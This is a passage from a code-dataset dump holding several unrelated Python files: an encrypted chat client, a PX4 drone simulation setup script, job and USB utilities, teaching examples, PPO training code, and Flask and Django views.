dhGetSecret(keycipher, self.privateKey)\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\traw_decrypt_message = aesDecrypt(cipher, bytes.fromhex(secret))\r\n\t\t\t\t\texcept:\r\n\t\t\t\t\t\treflectString += 'Decrypt error.\\n'\r\n\t\t\t\t\t\tcontinue\r\n\t\t\t\t\t\r\n\t\t\t\t\tmessage, sender, time, signature = str(raw_decrypt_message, 'ascii').split('\\x00')\r\n\t\t\t\t\tif messageHeader == 'File': message = '_'.join(message.split('_')[1:])\r\n\t\t\t\t\tformattingString = '{}: {} -> {} at {}\\n'.format(acceptTime, sender, message, time)\r\n\t\t\t\t\r\n\t\t\t\telse:\r\n\t\t\t\t\ttime, sender = messageContent.split(' ')\r\n\t\t\t\t\tsender = sender.strip('\\n')\r\n\t\t\t\t\tmessage = 'some file.' if messageHeader == 'SendFile' else 'some message.'\r\n\t\t\t\t\tformattingString = '{}: {} <- {}\\n'.format(time, sender, message)\r\n\t\r\n\t\t\t\treflectString += formattingString\r\n\t\t\telif response_head == 'LogLine':\r\n\t\t\t\thistorylog = open(self.logPath+self.myName+'_history.txt', 'a')\r\n\r\n\t\t\t\tmessageHeader, messageContent = response_content.split(':')\r\n\t\t\t\tif messageHeader in ('Message', 'File'):\r\n\t\t\t\t\tif messageHeader == 'Message':\r\n\t\t\t\t\t\tcipher, keycipher, acceptTime = messageContent.split('/')\r\n\t\t\t\t\tif messageHeader == 'File':\r\n\t\t\t\t\t\ttmpfilename, cipher, keycipher, acceptTime = messageContent.split('/')\r\n\t\t\t\t\tacceptTime = acceptTime.strip('\\n')\r\n\t\t\t\t\tsecret = dhGetSecret(keycipher, self.privateKey)\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\traw_decrypt_message = aesDecrypt(cipher, bytes.fromhex(secret))\r\n\t\t\t\t\texcept:\r\n\t\t\t\t\t\treflectString += 'Decrypt error.\\n'\r\n\t\t\t\t\t\tcontinue\r\n\t\t\t\t\t\r\n\t\t\t\t\tmessage, sender, time, signature = str(raw_decrypt_message, 'ascii').split('\\x00')\r\n\t\t\t\t\tif messageHeader == 'File': message = '_'.join(message.split('_')[1:])\r\n\t\t\t\t\tformattingString = '{}: {} -> {} at {}\\n'.format(acceptTime, sender, message, time)\r\n\t\t\t\t\r\n\t\t\t\telse:\r\n\t\t\t\t\ttime, sender = messageContent.split(' ')\r\n\t\t\t\t\tsender = sender.strip('\\n')\r\n\t\t\t\t\tmessage = 'some file.' if messageHeader == 'SendFile' else 'some message.'\r\n\t\t\t\t\tformattingString = '{}: {} <- {}\\n'.format(time, sender, message)\r\n\t\t\t\t\r\n\t\t\t\thistorylog.write(formattingString)\r\n\t\t\t\thistorylog.close()\r\n\r\n\t\t\telif response_head == 'DownloadStart':\r\n\t\t\t\tsafety_filename = ''\r\n\t\t\t\tsafety_check = '/\\\\'\r\n\r\n\t\t\t\tfor c in self.tmpfilename:\r\n\t\t\t\t\tif c in safety_check:\r\n\t\t\t\t\t\tsafety_filename += 'x'\r\n\t\t\t\t\telse: safety_filename += c\r\n\r\n\t\t\t\tif safety_filename == '.' or safety_filename == '..':\r\n\t\t\t\t\tsafety_filename = 'tmp'\r\n\r\n\t\t\t\tself.fileLoader = open(self.downloadPath + safety_filename, 'wb')\r\n\t\t\t\tself.writeFlag = True\r\n\t\t\t\tprint('Download start.')\r\n\r\n\t\t\telif response_head == 'FileBlock':\r\n\t\t\t\tif not self.writeFlag:\r\n\t\t\t\t\treflectString += 'Somehow explodes.\\n'\r\n\t\t\t\t\tbreak\r\n\t\t\t\tblock = response_content\r\n\t\t\t\ttry:\r\n\t\t\t\t\traw_decrypt_message = aesDecrypt(block, self.prevSecret)\r\n\t\t\t\texcept:\r\n\t\t\t\t\treflectString += 'Decrypt file error.\\n';\r\n\t\t\t\t\tbreak\r\n\t\t\t\tself.fileLoader.write(raw_decrypt_message)\r\n\t\t\t\tprint('Downloading...', end='\\r')\r\n\t\t\t\t\r\n\t\t\telif response_head == 'DownloadEnd':\r\n\t\t\t\tself.fileLoader.close()\r\n\t\t\t\tself.writeFlag = False\r\n\t\t\t\tself.tmpfilename = ''\r\n\t\t\t\tprint('File downloading completes.')\r\n\t\t\telse:\r\n\t\t\t\treflectString += 'Unknown Response Header ' + response + '\\n'\r\n\r\n\r\n\t\treturn reflectString\r\n\tdef interactWith(self):\r\n\t\twhile True:\r\n\t\t\tcmd = input('\\n'+self.shellStyle)\r\n\t\t\tif cmd == '': continue\r\n\r\n\t\t\tcmds = []\r\n\t\t\twordCount = len(cmd.split(' '))\r\n\r\n\t\t\tif wordCount <= 2:\r\n\t\t\t\tcmds.append(cmd)\r\n\t\t\telse:\r\n\t\t\t\ttry:\r\n\t\t\t\t\tcmdHeader = cmd.split(' ')[0]\r\n\t\t\t\t\ttest = commandGeneral[cmdHeader]\r\n\t\t\t\texcept:\r\n\t\t\t\t\tprint('Wrong command format.')\r\n\t\t\t\t\tcontinue\r\n\t\t\t\tif commandGeneral[cmdHeader] == 'SendFile':\r\n\t\t\t\t\treceiver = cmd.split(' ')[1]\r\n\t\t\t\t\tcmdContents = cmd.split(' ')[2:]\r\n\t\t\t\t\tfor cmdContent in cmdContents:\r\n\t\t\t\t\t\tline = '{} {} {}'.format(cmdHeader, receiver, cmdContent)\r\n\t\t\t\t\t\tcmds.append(line)\r\n\t\t\t\telse:\r\n\t\t\t\t\tcmds.append(cmd)\r\n\t\t\t\r\n\t\t\tfor cmd in cmds:\r\n\t\t\t\trfc = self.send_getResponse(cmd)\r\n\t\t\t\tprint(rfc, end='')\t\r\n\r\n\r\nclient = KATclient('127.0.0.1', 8451)\r\nrv = client.hello()\r\nif not rv:\r\n\tprint('Connection fail.')\r\n\texit()\r\nclient.interactWith()","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":8946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"380499487","text":"#!/usr/bin/env python\nimport sys\nimport os\n\ndef replaceInFile(orig, repl, filename):\n os.system('sed -i \"s/' + orig + '/' +repl + '/g\" ' + filename)\n\nNUM_UAVs = int(sys.argv[1]) + 1\nPX4_HOME = '/root/src'\nprint(NUM_UAVs)\nSOURCE = PX4_HOME + '/Firmware/launch/posix_sitl_openuav_swarm_base.launch'\nfile_block = ''\n\nfor NUM in range(1, NUM_UAVs):\n\n # mavlink\n # < mavlink_udp_port > simulator_udp_port < / mavlink_udp_port >\n # simulator start -s -u simulator_udp_port\n # mavlink start -u mavlink_start_port -r 4000000\n # mavlink start -u mavlink_onboard_local -r 4000000 -m onboard -o mavlink_onboard_remote\n # \n # mavlink stream -r 50 -s POSITION_TARGET_LOCAL_NED -u mavlink_start_port\n\n mavlink_onboard_remote = 14640\n mavlink_start_port = 14656\n mavlink_onboard_local = 14657\n simulator_udp_port = 14660\n\n uav_str = str(NUM)\n DEST = PX4_HOME + '/Firmware/launch/posix_sitl_multi_px4_sitl'+ uav_str +'.launch'\n\n print(uav_str)\n print(os.system(\n \"cp -r \" + PX4_HOME + \"/Firmware/Tools/sitl_gazebo/models/f450-1 \" + PX4_HOME + \"/Firmware/Tools/sitl_gazebo/models/f450-tmp-\" + uav_str))\n print(os.system(\n \"mv \" + PX4_HOME + \"/Firmware/Tools/sitl_gazebo/models/f450-tmp-\" + uav_str +\"/f450-1.sdf \" + PX4_HOME + \"/Firmware/Tools/sitl_gazebo/models/f450-tmp-\" + uav_str +\"/f450-tmp-\" + uav_str + \".sdf\"))\n\n replaceInFile(str(simulator_udp_port), str(simulator_udp_port+100*NUM), PX4_HOME + '/Firmware/Tools/sitl_gazebo/models/f450-tmp-' + uav_str +'/f450-tmp-' + uav_str + '.sdf')\n os.system(\n 'cp '+ PX4_HOME + '/Firmware/posix-configs/SITL/init/lpe/f450-1 ' + PX4_HOME + '/Firmware/posix-configs/SITL/init/lpe/f450-tmp-' + uav_str)\n\n replaceInFile(str(simulator_udp_port), str(simulator_udp_port+100*NUM), PX4_HOME + '/Firmware/posix-configs/SITL/init/lpe/f450-tmp-' + uav_str)\n replaceInFile(str(mavlink_start_port), str(mavlink_start_port+100*NUM), PX4_HOME + '/Firmware/posix-configs/SITL/init/lpe/f450-tmp-' + uav_str)\n replaceInFile(str(mavlink_onboard_local), str(mavlink_onboard_local+100*NUM), PX4_HOME + '/Firmware/posix-configs/SITL/init/lpe/f450-tmp-' + uav_str)\n replaceInFile(str(mavlink_onboard_remote), str(mavlink_onboard_remote+100*NUM), PX4_HOME + '/Firmware/posix-configs/SITL/init/lpe/f450-tmp-' + uav_str)\n replaceInFile('MAV_SYS_ID 2', 'MAV_SYS_ID ' + str(NUM), PX4_HOME + '/Firmware/posix-configs/SITL/init/lpe/f450-tmp-' + uav_str)\n replaceInFile('MAV_COMP_ID 2', 'MAV_COMP_ID ' + str(NUM), PX4_HOME + '/Firmware/posix-configs/SITL/init/lpe/f450-tmp-' + uav_str)\n\n replaceInFile('f450-1', 'f450-tmp-' + uav_str, PX4_HOME + '/Firmware/Tools/sitl_gazebo/models/f450-tmp-' + uav_str +'/f450-tmp-' + uav_str + '.sdf')\n replaceInFile('uav_camera',\n 'uav_' + uav_str + '_camera',\n PX4_HOME + '/Firmware/Tools/sitl_gazebo/models/f450-tmp-' + uav_str + '/f450-tmp-' + uav_str + '.sdf')\n\n launch_file = '$PX4_HOME/Firmware/launch/posix_sitl_multi_tmp.launch'\n\n uav_block = '' + \\\n '\\n' + \\\n '\\n' + \\\n '\\n' + \\\n '\\n' + \\\n '\\n'\n\n\n file_block = uav_block + '\\n'\n print(file_block)\n\n print(os.system(\"cp \" + SOURCE + \" \" + DEST))\n f=open(DEST,\"a\")\n f.write(file_block + '\\n ')\n f.close()\n\nprint('DRONES CREATED')\n","sub_path":"samples/leader-follower/inputs/setup/gen_px4_sitl.py","file_name":"gen_px4_sitl.py","file_ext":"py","file_size_in_byte":4059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"201146142","text":"# -*- coding: utf-8 -*-\n\nimport logging\nimport json\n\n\nclass BulkJob(object):\n\n def __init__(self, _, job):\n self.job = job\n self.user_api = job.get_user_api()\n self.monitored_jobs = []\n self.progress_increment = None\n self.result = {\n 'bootstrap-exceptions': {},\n 'FAILED': [],\n 'SUCCESS': [],\n 'ALL': []}\n\n def _push_result(self):\n self.job.set_status_message(json.dumps(self.result))\n\n def resource_done(self):\n return set(self.result.get('SUCCESS', []) + self.result.get('FAILED', []))\n\n def resource_left(self):\n all_result = set(self.result.get('ALL', []))\n return all_result.difference(self.resource_done())\n\n @staticmethod\n def filter_jobs_resources(job_ids):\n return ' or '.join(map(lambda job: f'id=\"{job}\"', job_ids))\n\n def _build_monitored_jobs_filter(self):\n filter_jobs_ids = ' or '.join(map(lambda job: f'id=\"{job}\"', self.monitored_jobs))\n filter_finished_jobs = 'progress=100'\n return f'({filter_jobs_ids}) and {filter_finished_jobs}'\n\n def _update_progress(self):\n new_progress = 100 if self.progress_increment == 0 else int(\n 100 - (len(self.monitored_jobs) / self.progress_increment))\n if new_progress != self.job['progress']:\n self.job.set_progress(new_progress)\n\n def query_jobs(self, query_filter):\n return self.user_api.search('job',\n filter=query_filter,\n last=10000,\n select='id, state, target-resource, return-code')\n\n def _check_monitored_jobs(self):\n try:\n completed_jobs = self.query_jobs(self._build_monitored_jobs_filter())\n for resource in completed_jobs.resources:\n resource_id = resource.data['target-resource']['href']\n if resource_id not in self.resource_done():\n if resource.data.get('return-code') == 0:\n self.result['SUCCESS'].append(resource_id)\n else:\n self.result['FAILED'].append(resource_id)\n self.monitored_jobs.remove(resource.id)\n except Exception as ex:\n logging.error(ex)\n\n def reload_result(self):\n try:\n self.result = json.loads(self.job.get('status-message'))\n except Exception:\n pass\n","sub_path":"code/src/nuvla/job/actions/utils/bulk.py","file_name":"bulk.py","file_ext":"py","file_size_in_byte":2465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"345471200","text":"\n# The main USB module\nimport usb.core\n# Utility functions.\nimport usb.util\n# Module that contains all of the built-in backends.\nimport usb.backend.libusb1\n# importing sys to provide stdout.write\nimport sys\n\n# in order to use the usbdk driver, libusb must be put into usbdk 'mode' via a call to libusb_set_option immediately after libusb_init. \nfrom ctypes import c_void_p, c_int\n\nbackend = usb.backend.libusb1.get_backend(find_library=lambda x: \"libusb-1.0.dll\")\nbackend.lib.libusb_set_option.argtypes = [c_void_p, c_int]\nbackend.lib.libusb_set_option(backend.ctx, 1) # <--- this is the magic call to enable usbdk mode\n# print(backend)\n\n#find our device\ndev = usb.core.find(idVendor=0x03F0, idProduct=0x092C, backend=backend)\n# print(dev)\nprint(dev.bLength)\nprint(dev.bNumConfigurations)\nprint(dev.bDeviceClass)\n\n# set the active configuration. With no arguments, the first\n# configuration will be the active one\ndev.set_configuration()\n\n# get an endpoint instance\ncfg = dev.get_active_configuration()\nintf = cfg[(0,0)]\n\n# Read All of the Device Configuration\nfor cfg in dev:\n sys.stdout.write(str(cfg.bConfigurationValue) + '\\n')\n\n for intf in cfg:\n sys.stdout.write('\\t' + \\\n str(intf.bInterfaceNumber) + \\\n ',' + \\\n str(intf.bAlternateSetting) + \\\n '\\n')\n for ep in intf:\n sys.stdout.write('\\t\\t' + \\\n str(ep.bEndpointAddress) + \\\n '\\n')\n\n\n# # Bulk, Interrupt, and Isochronous Communications\n# msg = 'test'\n# assert len(dev.write(1, msg, 100)) == len(msg)\n# ret = dev.read(0x81, len(msg), 100)\n# sret = ''.join([chr(x) for x in ret])\n# assert sret == msg","sub_path":"vault/sprint_usb_driver.py","file_name":"sprint_usb_driver.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"242372839","text":"#!/usr/bin/env python\n\nperson = 'Bill', 'Gates', 'Microsoft'\n\nprint(len(person), person[0], person[-1])\n\nfirst_name, last_name, product = person\n\nvalues = ['a', 'b', 'c', 'd', 'e', 'f']\n\nx, y, *z = values\nprint(x, y, z)\n\nx, *y, z = values\nprint(x, y, z)\n\n*x, y, z = values\nprint(x, y, z)\n\npeople = [\n ('Melinda', 'Gates', 'Gates Foundation', '1964-08-15'),\n ('Steve', 'Jobs', 'Apple', '1955-02-24'),\n ('Larry', 'Wall', 'Perl', '1954-09-27'),\n ('Paul', 'Allen', 'Microsoft', '1953-01-21'),\n ('Larry', 'Ellison', 'Oracle', '1944-08-17'),\n ('Bill', 'Gates', 'Microsoft', '1955-10-28'),\n ('Mark', 'Zuckerberg', 'Facebook', '1984-05-14'),\n ('Sergey','Brin', 'Google', '1973-08-21'),\n ('Larry', 'Page', 'Google', '1973-03-26'),\n ('Linus', 'Torvalds', 'Linux', '1969-12-28'),\n]\nprint(people[0])\nprint(people[0][0])\nprint(people[0][0][0])\nprint()\n\nfor first_name, last_name, product, dob in people:\n print(first_name, last_name)\nprint()\n\nfor first_name, last_name, *_ in people:\n print(first_name, last_name)\nprint()\n\ncolors = ['red', 'purple', 'brown']\n\nfor i, color in enumerate(colors):\n # i, color = next(colors)\n print(i, color)\nprint()\n\nprint(list(enumerate(colors)), '\\n')\n\n# this is what enumerate() does, but don't do this\n# -- use enumerate() instead\ni = 0\nfor color in colors:\n print(i, color)\n i += 1\nprint()\n\nairports = {\n 'EWR': 'Newark',\n 'MCI': 'Kansas City',\n 'SFO': 'San Francisco',\n 'RDU': 'Raleigh-Durham',\n 'SJC': 'San Jose',\n 'MCO': 'Orlando',\n 'ABQ': 'Albuquerque',\n 'OAK': 'Oakland',\n 'SAC': 'Sacramento',\n 'IAD': 'Dulles',\n}\n\nfor abbr, name in airports.items():\n print(abbr, name)\n\nprint(list(airports.items()))\n\n\n# for VAR, VAR, ... in ITERABLE:\n# # ....\n\nfor wombat, koala in enumerate(colors):\n print(wombat, koala)\n\n\n","sub_path":"tuple_examples.py","file_name":"tuple_examples.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"548965257","text":"from numpy import*\nfrom math import*\n\nclass Datas1:\n\n\tdef __init__(self,datos):\n\t\tself.data=datos\n\t\tself.media=0\t\n\t\tself.covarianza=0\n\t\tself.correlacion=0\n\n\tdef md(self):\n\t\tself.med=sum(self.data)/len(self.data)\n\t\treturn(self.med)\n\n\tdef cv(self):\n\t\tself.x1=self.data[:,0]\n\t\tself.y1=self.data[:,1]\n\t\tself.x1y1=self.x1 * self.y1\n\t\tself.cov=(sum(self.x1y1)/len(self.x1y1)) - (sum(self.x1)/len(self.x1)) * (sum(self.y1)/len(self.y1))\n\t\treturn(self.cov)\n\n\tdef cr(self):\n\t\tself.x2=sum(self.x1)/len(self.x1)\n\t\tself.y2=sum(self.y1)/len(self.y1)\n\t\tself.xx=sum((self.x1 - self.x2)*(self.x1 - self.x2))/(len(self.x1) -1 )\n\t\tself.yy=sum((self.y1 - self.y2)*(self.y1 - self.y2))/(len(self.y1) -1 )\n\t\tself.cor=self.cov/(sqrt(self.xx)*sqrt(self.yy))\n\t\treturn(self.cor)\n","sub_path":"taller data1/data1.py","file_name":"data1.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"535396454","text":"from setuptools import setup, find_packages\n\nwith open('README.rst') as file:\n long_description = file.read()\n\nwith open('requirements.txt') as file:\n requirements = file.read()\nrequirements = requirements.split('\\n')\n\nsetup(\n name='sdcurses',\n version='0.0.1',\n description=\"A curses interface for the SmartData Center technology.\",\n long_description=long_description,\n classifiers=[\n \"Programming Language :: Python\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n \"Topic :: Internet :: WWW/HTTP\",\n \"Environment :: Web Environment\",\n \"Topic :: Internet :: WWW/HTTP :: Site Management\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: MIT License\",\n \"Development Status :: 3 - Alpha\",\n ],\n keywords='web,joyent',\n author='Michael T. Clemmons',\n author_email='glassresistor@gmail.com',\n url='https://github.com/glassresistor/sdcurses',\n license='MIT',\n packages=find_packages(),\n include_package_data=True,\n zip_safe=True,\n install_requires=requirements,\n entry_points={\n 'console_scripts': [\n 'sdcurses = sdcurses.main:start',\n ],\n },\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"77705457","text":"from flask import (g, request, redirect, render_template,\n session, url_for, Blueprint)\n\nfrom .models import Group, Membership, User\nfrom .auth import login_required\nfrom .forms import GroupForm, MembershipForm\nfrom studygroup.exceptions import FormValidationException\n\n\ngroups = Blueprint(\"group\", __name__, static_folder='static')\n\n@groups.before_request\ndef load_user():\n user_id = session.get('user_id')\n if user_id:\n g.user = User.query.filter_by(id=user_id).first()\n else:\n g.user = None\n\ndef _show_group_post(group):\n form = MembershipForm(session.get('user_id'))\n if form.validate_on_submit():\n try:\n form.save()\n except FormValidationException as e:\n form.form_errors = e.message\n return render_show_group(group, form)\n\n\ndef render_show_group(group, form=None):\n if not form:\n user_id = session.get('user_id')\n membership = Membership(\n user_id=user_id,\n group_id=group.id\n )\n form = MembershipForm(user_id, obj=membership)\n\n return render_template('show_group.html', form=form)\n\n\n@groups.route('/join_group', methods=('POST',))\ndef join_group():\n pass\n\n\ndef render_show_group(group, form=None):\n if not form:\n user_id = session.get('user_id')\n membership = Membership(\n user_id=user_id,\n group_id=group.id\n )\n form = MembershipForm(user_id, obj=membership)\n\n return render_template('show_group.html', form=form)\n\n\n@groups.route('/group/new', methods=('GET', 'POST'))\ndef new_group():\n form = GroupForm()\n if form.validate_on_submit():\n group = form.save()\n return redirect(url_for('.show_group', id=group.id))\n return render_template('new_group.html', form=form)\n\n\n@groups.route('/groups')\n@login_required\ndef show_groups():\n g.groups = Group.all_with_memberships()\n return render_template('groups.html')\n\n@groups.route('/group/', methods=('POST', 'GET'))\n@login_required\ndef show_group(id):\n g.group = Group.query.filter_by(id=id).first()\n if request.method == 'POST':\n return _show_group_post(id)\n else:\n return render_show_group(g.group)\n","sub_path":"studygroup/groups.py","file_name":"groups.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"534609357","text":"\"\"\"Observer's training.\n\nThe observer is trained via Proximal Policy Optimization (PPO).\nThis code is an adaptation of the PPO implementation taken from\nhttps://github.com/ikostrikov/pytorch-a2c-ppo-acktr-gail.\n\"\"\"\n\nimport collections\nimport glob\nimport os\nfrom arguments import get_args\nfrom envs import make_vec_envs\nfrom model import Policy\nimport numpy as np\nfrom ppo import PPO\nfrom storage import RolloutStorage\nimport torch\nfrom utils import get_vec_normalize\nfrom utils import update_linear_schedule\n\nargs = get_args()\n\nnum_updates = int(args.num_env_steps) // args.num_steps // args.num_processes\ntorch.manual_seed(args.seed)\n\nargs.save_dir = '/usr/local/google/home/alexisjacq/' + args.save_dir\nargs.scores_dir = '/usr/local/google/home/alexisjacq/' + args.scores_dir\nargs.rewards_dir = '/usr/local/google/home/alexisjacq/' + args.rewards_dir\nargs.policies_dir = '/usr/local/google/home/alexisjacq/' + args.policies_dir\n\ntry:\n os.makedirs(args.log_dir)\nexcept OSError:\n files = glob.glob(os.path.join(args.log_dir, '*.monitor.csv'))\n for f in files:\n os.remove(f)\n\neval_log_dir = args.log_dir + '_eval'\n\ntry:\n os.makedirs(eval_log_dir)\nexcept OSError:\n files = glob.glob(os.path.join(eval_log_dir, '*.monitor.csv'))\n for f in files:\n os.remove(f)\n\ntry:\n os.makedirs(args.scores_dir)\nexcept OSError:\n files = glob.glob(os.path.join(args.scores_dir, '*'+args.expe+'.npy'))\n for f in files:\n os.remove(f)\n\n\ndef main():\n device = 'cpu'\n acc_steps = []\n acc_scores = []\n torch.set_num_threads(1)\n\n envs = make_vec_envs(args.env_name, args.seed, args.num_processes,\n args.gamma, args.log_dir, args.add_timestep,\n device, False)\n\n # get cloned policy and recovered reward function\n policy_reward_dir = args.rewards_dir\n policy_dir = args.policies_dir\n\n policy_reward = Policy(envs.observation_space.shape, envs.action_space)\n\n policy_reward_file_name = policy_reward_dir + '/reward_' + args.expe + '.pth'\n policy_reward_sd = torch.load(policy_reward_file_name)\n policy_reward.load_state_dict(policy_reward_sd)\n\n actor_critic = Policy(envs.observation_space.shape, envs.action_space)\n\n policy_file_name = policy_dir + '/last_policy_' + args.expe + '.pth'\n policy_sd = torch.load(policy_file_name)\n actor_critic.load_state_dict(policy_sd)\n actor_critic.to(device)\n\n agent = PPO(actor_critic, args.clip_param, args.ppo_epoch,\n args.num_mini_batch, args.value_loss_coef, args.entropy_coef,\n lr=args.lr, eps=args.eps, max_grad_norm=args.max_grad_norm)\n\n rollouts = RolloutStorage(args.num_steps, args.num_processes,\n envs.observation_space.shape, envs.action_space)\n\n obs = envs.reset()\n rollouts.obs[0].copy_(obs)\n rollouts.to(device)\n\n episode_rewards = collections.deque(maxlen=10)\n\n for j in range(num_updates):\n\n if args.use_linear_lr_decay:\n # decrease learning rate linearly\n update_linear_schedule(agent.optimizer, j, num_updates, args.lr)\n agent.clip_param = args.clip_param * (1 - j / float(num_updates))\n\n for step in range(args.num_steps):\n # Sample actions\n with torch.no_grad():\n value, action, action_log_prob = actor_critic.act(\n rollouts.obs[step],\n rollouts.masks[step])\n\n obs, _, done, infos = envs.step(action)\n if step > 1 and step % 1000 == 0:\n done = True\n\n # use infered reward:\n with torch.no_grad():\n # _, reward = shapes(rollouts.obs[step], 0)\n _, action_log_probs, _, _ = policy_reward.evaluate_actions(\n rollouts.obs[step], None, None, action)\n reward = action_log_probs\n\n for info in infos:\n # if 'episode' in info.keys():\n # episode_rewards.append(info['episode']['r'])\n r = 0\n for key, val in info.items():\n if 'reward' in key:\n r += val\n episode_rewards.append(r)\n\n # If done then clean the history of observations.\n masks = torch.FloatTensor([[0.0] if done_ else [1.0]\n for done_ in done])\n\n rollouts.insert(obs, action, action_log_prob,\n value, reward, masks)\n\n with torch.no_grad():\n next_value = actor_critic.get_value(rollouts.obs[-1],\n rollouts.masks[-1]).detach()\n\n rollouts.compute_returns(next_value, args.gamma, args.tau)\n\n value_loss, action_loss, dist_entropy = agent.update(rollouts)\n\n rollouts.after_update()\n\n # save for every interval-th episode or for the last epoch\n if (j % args.save_interval == 0 or j == num_updates - 1) and args.save_dir:\n save_path = os.path.join(args.save_dir, 'ppo')\n try:\n os.makedirs(save_path)\n except OSError:\n pass\n\n # A really ugly way to save a model to CPU\n save_model = actor_critic\n\n save_model = [save_model,\n getattr(get_vec_normalize(envs), 'ob_rms', None)]\n\n torch.save(save_model, os.path.join(save_path, args.env_name + '.pt'))\n\n total_num_steps = (j + 1) * args.num_processes * args.num_steps\n\n if j % args.log_interval == 0 and len(episode_rewards) > 1:\n print('Updates', j,\n 'num timesteps', len(episode_rewards),\n '\\n Last training episodes: mean/median reward',\n '{:.1f}'.format(np.mean(episode_rewards)),\n '/{:.1f}'.format(np.median(episode_rewards)),\n 'min/max reward',\n '{:.1f}'.format(np.min(episode_rewards)),\n '/{:.1f}'.format(np.max(episode_rewards)),\n 'dist entropy', dist_entropy,\n 'value loss', value_loss,\n 'action loss', action_loss)\n\n if len(episode_rewards) > 1:\n acc_steps.append(total_num_steps)\n acc_scores.append(np.mean(episode_rewards))\n\n if (args.eval_interval is not None\n and len(episode_rewards) > 1\n and j % args.eval_interval == 0):\n eval_envs = make_vec_envs(args.env_name, args.seed + args.num_processes,\n args.num_processes, args.gamma, eval_log_dir,\n args.add_timestep, device, True)\n\n vec_norm = get_vec_normalize(eval_envs)\n if vec_norm is not None:\n vec_norm.eval()\n vec_norm.ob_rms = get_vec_normalize(envs).ob_rms\n\n eval_episode_rewards = []\n\n obs = eval_envs.reset()\n eval_masks = torch.zeros(args.num_processes, 1, device=device)\n\n while len(eval_episode_rewards) < 10:\n with torch.no_grad():\n _, action, _ = actor_critic.act(\n obs, eval_masks, deterministic=True)\n\n # Obser reward and next obs\n obs, reward, done, infos = eval_envs.step(action)\n\n eval_masks = torch.FloatTensor([[0.0] if done_ else [1.0]\n for done_ in done])\n for info in infos:\n if 'episode' in info.keys():\n eval_episode_rewards.append(info['episode']['r'])\n\n eval_envs.close()\n\n print('Evaluation using',\n len(eval_episode_rewards),\n 'episodes: mean reward',\n '{:.5f}\\n'.format(np.mean(eval_episode_rewards)))\n\n scores_file_name = args.scores_dir + '/learner_scores_' + args.expe + '.npy'\n steps_file_name = args.scores_dir + '/learner_steps_' + args.expe + '.npy'\n np.save(scores_file_name, np.array(acc_scores))\n np.save(steps_file_name, np.array(acc_steps))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"lfl/mujoco/observer.py","file_name":"observer.py","file_ext":"py","file_size_in_byte":7446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"576329814","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Task\nfrom .forms import CreateForm, EditForm, ValidateForm, SubmitForm, ApproveForm\nfrom account.models import Employee\n\n\n\n\n\n@login_required\ndef list(request):\n tasks = Task.objects.order_by('creation_date')\n return render(request, 'list_tasks.html', {'tasks': tasks, 'state_choices':Task.state_choices} )\n\n\n@login_required\ndef create(request):\n\n\n fields=['headline',\n 'problem',\n 'proposal',\n 'validator']\n\n # get instance of the user that is editing his/her profile\n user = request.user\n\n # get instance of the employee that is creating the task\n employee = Employee.objects.filter(user__pk=user.pk)[0]\n\n\n if request.method == \"POST\":\n\n # if user strikes cancel, redirect to task list\n if request.POST.get(\"cancel\"):\n return redirect('task:list')\n\n # handles form submitted by user\n form = CreateForm(request.POST)\n\n print(\"Create form is valid: %r\" % form.is_valid() )\n\n if form.is_valid():\n\n # get data provided by user\n cleaned_data = form.cleaned_data\n\n # create new task\n task = Task()\n for field in fields:\n setattr(task, field, cleaned_data[field])\n\n # add automatic fields and save instance to db\n task.create(employee)\n\n # if everything goes well, redirect to task list\n return redirect(\"task:list\")\n\n else:\n # delivers a blank form to be filled in\n form = CreateForm()\n\n\n # render form using given html template\n return render(request, 'create_task.html', {'form': form})\n\n\n\n\n\n@login_required\ndef edit(request,pk, page):\n\n forms={'1': CreateForm,\n '2': ValidateForm}\n\n templates={'1': 'edit_task.html',\n '2': 'validate_task.html'}\n\n save_functions={'1': 'create',\n '2': 'validate'}\n\n actors={'1': 'creator',\n '2': 'validator'}\n\n\n form=forms[page]\n template=templates[page]\n save_function=save_functions[page]\n actor=actors[page]\n fields=form.base_fields\n\n # get task instance\n task = get_object_or_404(Task, pk=pk)\n\n # get instance of the user whom the request is coming from\n user = request.user\n\n # get instance of corresponding employee\n employee = Employee.objects.filter(user__pk=user.pk)[0]\n\n # get task state\n state=task.state\n\n if request.method == \"POST\":\n\n # if user strikes cancel, redirect to task list\n if request.POST.get(\"cancel\"):\n return redirect('task:list')\n\n # handles form submitted by user\n form = form(request.POST)\n\n if form.is_valid():\n\n # get data provided by user\n cleaned_data = form.cleaned_data\n\n # create new task\n for field in fields:\n setattr(task, field, cleaned_data[field])\n\n # add automatic fields and save instance to db, with the help of model saving methods (1 method by wizard page)\n save_function=getattr(task,save_function)\n save_function(employee)\n\n # if everything goes well, redirect to task list\n return redirect(\"task:list\")\n\n else:\n\n # create context\n context={field: getattr(task,field) for field in fields}\n\n # delivers a blank form to be filled in\n form = form(context)\n\n\n # render form using given html template\n return render(request, template, {'form': form, 'page': state, 'pk': pk, 